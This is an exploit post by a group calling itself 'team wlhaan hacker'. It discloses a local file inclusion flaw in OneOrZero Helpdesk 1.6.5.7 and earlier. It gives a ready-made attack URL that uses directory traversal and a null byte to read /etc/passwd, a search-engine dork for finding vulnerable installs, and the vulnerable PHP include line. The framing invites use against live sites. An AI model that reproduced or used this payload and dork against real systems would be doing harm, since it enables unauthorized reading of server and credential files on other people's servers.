|
|| || | ||
o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,
( : / (_) / ( .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
| _ __ __ __ ______ |
| /' \ __ /'__`\ /\ \__ /'__`\ /\ ___\ |
| /\_, \ ___ /\_\/\_\L\ \ ___\ \ ,_\/\ \/\ \ _ __\ \ \__/ |
| \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ \___``\ |
| \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
| \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ \ \____/ |
| \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ \/___/ |
| \ \____/ >> team wlhaan hacker |
| \/___/ |
| |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
_____________________________________________________
[ OneOrZero Helpdesk <= 1.6.5.7 ] Local File Inclusion Vulnerability
#####################################################
# [+] Author : wlhaan hacker #
# [+] Email : iit@HoTMaiL.coM #
# [+] Site : www.sa-hacker.com/vb #
# [+] team wlhaan Hacker #
# [+] Dork : inurl" OneOrZero Helpdesk
#####################################################
#############################################################################
# [ OneOrZero Helpdesk <= 1.6.5.7 ] Local File Inclusion Vulnerability #
#############################################################################
#
# Script: "OneOrZero Helpdesk and Task Management System is a powerful enterprise helpdesk system
# used by companies and groups large and small to manage information and requests in their organization. "
#
# Script site: http://www.oneorzero.com/
# Download: http://www.oneorzero.com/index.php?controller=main_general&option=main_downloads
#
# [LFI] Vuln: http://site.com/oozv1657/common/login.php?default_language=../../../../../../../../../../etc/passwd%00
#
# Bug: ./oozv1657/common/login.php (line: 104)
#
# ...
# // require_once "../common/common.php";
# if (eregi("supporter", $_SERVER[PHP_SELF]) || eregi("admin", $_SERVER[PHP_SELF]))
# require_once "../lang/$default_language.lang.php";
# else
# require_once "lang/$default_language.lang.php"; // LFI (register_globals = On, magic_quotes_gpc = Off)
# ...
#
#
###############################################
and good luck :D
Thanks to : shooq hacker ..
#####################################################
|